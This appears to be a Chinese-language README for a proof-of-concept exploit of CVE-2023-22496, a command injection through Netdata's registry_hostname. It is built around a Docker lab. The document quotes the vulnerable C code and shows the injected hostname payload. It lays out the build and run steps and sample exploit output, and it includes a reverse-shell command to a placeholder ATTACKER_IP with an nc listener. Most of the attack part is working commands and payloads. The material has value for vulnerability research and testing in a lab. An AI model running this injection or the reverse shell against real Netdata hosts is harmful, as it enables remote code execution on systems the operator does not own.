static inline int health_alarm_execute(RRDHOST *host, ALARM_ENTRY *ae) {
    ...
    char cmd[LEN + 1];
    snprintfz(cmd, LEN,
        "exec %s '%s' '%s' '%s' '%s' '%s' '%s' '%s' '%s' '%s' '%s' '%s' '%s'",
        exec,                        // alarm-notify.sh
        recipient,                   // 例如 "root"
        host->registry_hostname,     // ← 未过滤 — 攻击者可控制
        ae->name,
        ...
    );
    ae->exec_code = spawn_enq_cmd(cmd);   // 通过 /bin/sh 执行
    ...
}

# Netdata 注入后构建的内容：
exec alarm-notify.sh 'root' 'x' & touch /tmp/pwned & # ' arg3 arg4 ...

# 执行流程：
#   exec alarm-notify.sh 'root' 'x' &   → 后台运行；shell 保持存活
#   touch /tmp/pwned &                   → shell 求值；创建文件
#   #                                    → 剩余部分为注释；被忽略

┌──────────────┐  流式  ┌──────────────┐  流式  ┌──────────────────────┐
│  agent_child │ ───────▶ │ agent_middle │ ───────▶ │   agent_parent       │
│  (攻击者)    │          │  (中继)      │          │   (受害者 / 目标)    │
└──────────────┘          └──────────────┘          └──────────────────────┘
                                                            │
                                              health_alarm_execute() 触发
                                              带有注入的 registry_hostname
                                              → 在 agent_parent 上实现 RCE

CVE-2023-22496-PoC/
├── Dockerfile              # 从源码构建 netdata-vuln:v1.36.1
├── docker-compose.yaml     # 3 节点易受攻击的流式环境
├── exploit.py              # 独立利用脚本
├── config/
│   ├── parent_netdata.conf # 父节点配置（可写 — 利用脚本会覆盖此文件）
│   ├── parent_stream.conf  # 父节点接收流并评估告警
│   ├── parent_guid         # 固定节点 GUID
│   ├── middle_netdata.conf # 中继节点配置
│   ├── middle_stream.conf
│   ├── middle_guid
│   ├── child_netdata.conf  # 子发送节点配置
│   ├── child_stream.conf
│   └── child_guid
└── README.md

git clone https://github.com/YOUR_HANDLE/CVE-2023-22496-PoC.git
cd CVE-2023-22496-PoC

# 构建耗时约 5–15 分钟（从源码编译 Netdata）
docker build -t netdata-vuln:v1.36.1 .

docker compose up -d

# 父节点 Web UI 应返回 HTTP 200
curl -s http://localhost:21000/api/v1/info | python3 -m json.tool | grep version
# 预期输出："version": "v1.36.1-..."

# 默认：在目标 (agent_parent) 上创建 /tmp/pwned
python3 exploit.py "touch /tmp/pwned"

# 验证
docker exec agent_parent ls /tmp/pwned
# /tmp/pwned

======================================================================
  CVE-2023-22496 — Netdata registry_hostname 命令注入概念验证
======================================================================
  Shell 命令 : 'touch /tmp/pwned'
  注入的主机名 : "x' & touch /tmp/pwned & #"

[*] 前置检查：验证 Docker 环境
  [*] 所有 3 个容器都在运行中。

[*] 步骤 1：为 agent_parent 写入注入后的 netdata.conf
    已写入：config/parent_netdata.conf
    registry hostname = "x' & touch /tmp/pwned & #"

[*] 步骤 2：重启 agent_parent 以加载注入的配置
    ...
    agent_parent 已启动并响应。

[*] 步骤 3：等待 65 秒，直到 disk_space WARNING 告警出现

[*] 步骤 4：检查命令执行证据

======================================================================
  ✅  成功 — CVE-2023-22496 确认
  '/tmp/pwned' 存在于 agent_parent 上
======================================================================

# 在监听机器上：
nc -lvnp 4444

# 运行利用脚本（替换 ATTACKER_IP）：
python3 exploit.py "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"

python3 exploit.py "id > /tmp/id.txt"
docker exec agent_parent cat /tmp/id.txt
# uid=998(netdata) gid=998(netdata) groups=998(netdata)

# 停止并移除容器及卷
docker compose down -v

# 移除镜像
docker rmi netdata-vuln:v1.36.1